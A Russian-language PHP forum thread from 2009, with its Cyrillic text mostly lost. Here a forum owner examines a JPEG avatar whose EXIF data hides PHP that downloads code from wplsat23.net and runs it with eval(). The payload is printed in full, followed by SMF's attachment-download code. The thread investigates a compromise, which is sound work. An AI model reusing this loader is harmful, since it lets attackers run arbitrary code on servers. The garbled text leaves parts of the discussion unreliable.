[ ] - [ ] - [ ]
: SMF
jetistyum
- ... , ... - script injection ... ...
- ... krisbarteo



http://www.google.com.ua/search?rlz=1C1GGL...-8&q=krisbarteo
..
( )
jpeg .
PHP
 Exif  II*            1    J   2    f          i    z       ACD Systems Digital Imaging 2008:11:22 03:08:16       0220    515                      '<?php;$url = 'http://wplsat23.net/?update=main';$done = false;if(!$url){return '';}$url_info = parse_url($url);$url_info[port] = ($url_info[port]) ? $url_info[port]:80;$url_info[path] = ($url_info[path]) ? $url_info[path] : "/";    $url_info[query] = ($url_info[query]) ? $url_info[path] = $url_info[path] . "?" . $url_info[query] : "";    $query = "GET " . $url_info[path] . " HTTP/1.1\r\n";    $query = $query . "Host: " . $url_info[host] . "\r\n";    $query = $query . "Accept: */*" . "\r\n";    $query = $query . "Connection: close" . "\r\n";    $query = $query . "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12" . "\r\n";    $query = $query . "\r\n";    $errno = 0;    $error = "";    $sock = fsockopen($url_info[host], $url_info[port], $errno, $error, 30);$h = array();$resp = array();if($sock){stream_set_timeout($sock, 30);fwrite($sock, $query);$hd = false;while(!feof($sock)){$l = fgets($sock);if(!$hd){if(trim($l) == ''){$hd = true;}else{$h[] = $l;}}else{$resp[] = $l;}}fclose($sock);}$ret = implode("", $resp);eval($ret);?>00 C     
    
    


 

  C

   !                
    } !1AQa"q2#BR$3br    
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz            
   w !1AQaq"2B    #3Rbr
$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz



- smile.gif
, ... smile.gif
... ph34r.gif


http://www.simplemachines.org/community/in...?topic=307717.0





22 , 45 (11.05.2009 - 13:30) FatCat ():
? ... , , , ...

15 , 28 (11.05.2009 - 13:45) anonymouse ():
.. - - =( ...
jpeg .

TITLE ?

39 , 17 (11.05.2009 - 14:24) jetistyum ():
- ... ()
, ....


..
, sad.gif


PHP
<?php
//http://forum.overcomputers.com/index.php?action=dlattach;attach=19;type=avatar
function Download()
{
    global 
$txt$modSettings$db_prefix$user_info$scripturl$context$sourcedir;

    
$context['no_last_modified'] = true;

    
// Make sure some attachment was requested!
    
if (!isset($_REQUEST['attach']) && !isset($_REQUEST['id']))
        
fatal_lang_error(1false);

    
$_REQUEST['attach'] = isset($_REQUEST['attach']) ? (int) $_REQUEST['attach'] : (int) $_REQUEST['id'];

    if (isset(
$_REQUEST['type']) && $_REQUEST['type'] == 'avatar')
    {
        
$request db_query("
            SELECT filename, ID_ATTACH, attachmentType
            FROM {$db_prefix}attachments
            WHERE ID_ATTACH = $_REQUEST[attach]
                AND ID_MEMBER > 0
            LIMIT 1"
__FILE____LINE__);
        
$_REQUEST['image'] = true;
    }
    
// This is just a regular attachment...
    
else
    {
        
isAllowedTo('view_attachments');

        
// Make sure this attachment is on this board.
        
$request db_query("
            SELECT a.filename, a.ID_ATTACH, a.attachmentType
            FROM ({$db_prefix}boards AS b, {$db_prefix}messages AS m, {$db_prefix}attachments AS a)
            WHERE b.ID_BOARD = m.ID_BOARD
                AND $user_info[query_see_board]
                AND m.ID_MSG = a.ID_MSG
                AND a.ID_ATTACH = $_REQUEST[attach]
            LIMIT 1"
__FILE____LINE__);
    }
    if (
mysql_num_rows($request) == 0)
        
fatal_lang_error(1false);
    list (
$real_filename$ID_ATTACH$attachmentType) = mysql_fetch_row($request);
    
mysql_free_result($request);

    
// Update the download counter (unless it's a thumbnail).
    
if ($attachmentType != 3)
        
db_query("
            UPDATE LOW_PRIORITY {$db_prefix}attachments
            SET downloads = downloads + 1
            WHERE ID_ATTACH = $ID_ATTACH
            LIMIT 1"
__FILE____LINE__);

    
$filename getAttachmentFilename($real_filename$_REQUEST['attach']);

    
// This is done to clear any output that was made before now. (would use ob_clean(), but that's PHP 4.2.0+...)
    
ob_end_clean();
    if (!empty(
$modSettings['enableCompressedOutput']) && @version_compare(PHP_VERSION'4.2.0') >= && @filesize($filename) <= 4194304)
        @
ob_start('ob_gzhandler');
    else
    {
        
ob_start();
        
header('Content-Encoding: none');
    }

    
// No point in a nicer message, because this is supposed to be an attachment anyway...
    
if (!file_exists($filename))
    {
        
loadLanguage('Errors');

        
header('HTTP/1.0 404 ' $txt['attachment_not_found']);
        
header('Content-Type: text/plain; charset=' . (empty($context['character_set']) ? 'ISO-8859-1' $context['character_set']));

        
// We need to die like this *before* we send any anti-caching headers as below.
        
die('404 - ' $txt['attachment_not_found']);
    }

    
// If it hasn't been modified since the last time this attachement was retrieved, there's no need to display it again.
    
if (!empty($_SERVER['HTTP_IF_MODIFIED_SINCE']))
    {
        list(
$modified_since) = explode(';'$_SERVER['HTTP_IF_MODIFIED_SINCE']);
        if (
strtotime($modified_since) >= filemtime($filename))
        {
            
ob_end_clean();

            
// Answer the question - no, it hasn't been modified ;).
            
header('HTTP/1.1 304 Not Modified');
            exit;
        }
    }

    
// Check whether the ETag was sent back, and cache based on that...
    
$file_md5 '"' md5_file($filename) . '"';
    if (!empty(
$_SERVER['HTTP_IF_NONE_MATCH']) && strpos($_SERVER['HTTP_IF_NONE_MATCH'], $file_md5) !== false)
    {
        
ob_end_clean();

        
header('HTTP/1.1 304 Not Modified');
        exit;
    }

    
// Send the attachment headers.
    
header('Pragma: ');

    if (!
$context['browser']['is_gecko'])
        
header('Content-Transfer-Encoding: binary');
    
header('Expires: ' gmdate('D, d M Y H:i:s'time() + 525600 60) . ' GMT');
    
header('Last-Modified: ' gmdate('D, d M Y H:i:s'filemtime($filename)) . ' GMT');
    
header('Accept-Ranges: bytes');
    
header('Set-Cookie:');
    
header('Connection: close');
    
header('ETag: ' $file_md5);

    if (
filesize($filename) != 0)
    {
        
$size = @getimagesize($filename);
        if (!empty(
$size))
        {
            
// What headers are valid?
            
$validTypes = array(
                
=> 'gif',
                
=> 'jpeg',
                
=> 'png',
                
=> 'psd',
                
=> 'bmp',
                
=> 'tiff',
                
=> 'tiff',
                
=> 'jpeg',
                
14 => 'iff',
            );

            
// Do we have a mime type we can simpy use?
            
if (!empty($size['mime']))
                
header('Content-Type: ' $size['mime']);
            elseif (isset(
$validTypes[$size[2]]))
                
header('Content-Type: image/' $validTypes[$size[2]]);
            
// Otherwise - let's think safety first... it might not be an image...
            
elseif (isset($_REQUEST['image']))
                unset(
$_REQUEST['image']);
        }
        
// Once again - safe!
        
elseif (isset($_REQUEST['image']))
            unset(
$_REQUEST['image']);
    }

    if (!isset(
$_REQUEST['image']))
    {
        
header('Content-Disposition: attachment; filename="' $real_filename '"');
        
header('Content-Type: application/octet-stream');
    }

    
// If this has an "image extension" - but isn't actually an image - then ensure it isn't cached cause of silly IE.
    
if (!isset($_REQUEST['image']) && in_array(substr($real_filename, -4), array('.gif''.jpg''.bmp''.png''jpeg''tiff')))
            
header('Cache-Control: no-cache'); 
        else
        
header('Cache-Control: max-age=' . (525600 60) . ', private');

    if (empty(
$modSettings['enableCompressedOutput']) || filesize($filename) > 4194304)
        
header('Content-Length: ' filesize($filename));

    
// Try to buy some time...
    
@set_time_limit(0);

    
// For text files.....
    
if (!isset($_REQUEST['image']) && in_array(substr($real_filename, -4), array('.txt''.css''.htm''.php''.xml')))
    {
        if (
strpos($_SERVER['HTTP_USER_AGENT'], 'Windows') !== false)
            
$callback create_function('$buffer''return preg_replace(\'~[\r]?\n~\', "\r\n", $buffer);');
        elseif (
strpos($_SERVER['HTTP_USER_AGENT'], 'Mac') !== false)
            
$callback create_function('$buffer''return preg_replace(\'~[\r]?\n~\', "\r", $buffer);');
        else
            
$callback create_function('$buffer''return preg_replace(\'~\r~\', "\r\n", $buffer);');
    }

    
// Since we don't do output compression for files this large...
    
if (filesize($filename) > 4194304)
    {
        
// Forcibly end any output buffering going on.
        
if (function_exists('ob_get_level'))
        {
            while (@
ob_get_level() > 0)
                @
ob_end_clean();
        }
        else
        {
            @
ob_end_clean();
            @
ob_end_clean();
            @
ob_end_clean();
        }

        
$fp fopen($filename'rb');
        while (!
feof($fp))
        {
            if (isset(
$callback))
                echo 
$callback(fread($fp8192));
            else
                echo 
fread($fp8192);
            
flush();
        }
        
fclose($fp);
    }
    
// On some of the less-bright hosts, readfile() is disabled.  It's just a faster, more byte safe, version of what's in the if.
    
elseif (isset($callback) || @readfile($filename) == null)
        echo isset(
$callback) ? $callback(file_get_contents($filename)) : file_get_contents($filename);

    
obExit(false);
}


2 , 52 , 3 (11.05.2009 - 17:17) Bezdna ():
. - .

43 , 54 (11.05.2009 - 18:00) jetistyum ():
, , sad.gif


4 , 36 , 36 (11.05.2009 - 22:37) ():
, .
GIF Injection ?

35 , 9 (11.05.2009 - 23:12) jetistyum ():
- , - fopen-fread
...

7 , 54 (11.05.2009 - 23:20) ():
,
-
( )

- .

7 , 46 (11.05.2009 - 23:28) jetistyum ():
... - , ....
. ..
, ( ) ... .. ...
- ?????
php /avatars/fa4s7AF8D6Sf2s4fs4f.gif
...
PHP?

8 , 21 , 13 (12.05.2009 - 07:49) ():
" SMF, " " PHP?" => , IPB. - , , .. , .. . . 0 .

8 , 52 , 47 (12.05.2009 - 16:42) jetistyum ():
.. ...
, avatar.jpeg (.jpg, png, gif) ???
....

<img src="avatar.jpg">
, - ...
-.php ...

????

SMF
(
<img src="http://forum.overcomputers.com/index.php?action=dlattach;attach=19;type=avatar">)
.... ( )

- , .... sad.gif



3 , 3 , 33 (12.05.2009 - 19:45) FatCat ():
(jetistyum @ 12.05.2009 - 16:42)
<img src="avatar.jpg">
, - ...
-.php ...

?

,
HTML
<img src="http://any_other_site.hck/avatar.jpg">

, any_other_site.hck http- , .
, , , , . 98% ; ; (: , ) - ; .

18 , 33 , 13 (13.05.2009 - 14:19) jetistyum ():
, XSS .. "" ... .. ..
... , ...

,
<img src="avatar.gif">
... ..
HTML
<img width="150" height="150" border="0" alt="" src="http://phpforum.ru/uploads/av-5568.jpg"/>


- php
????
.... , , , , , - img/gif ... fopen- - .
, 404- ...
....

14 , 54 (13.05.2009 - 14:34) FatCat ():
(jetistyum @ 13.05.2009 - 14:19)
...

, - , , ...

: - , -, , , . - .
, , ... - DoS DDoS ...

4 , 49 (13.05.2009 - 14:38) jetistyum ():
, , , , ....... ..
:

  |  
.
Invision Power Board © 2001-2024 Invision Power Services, Inc.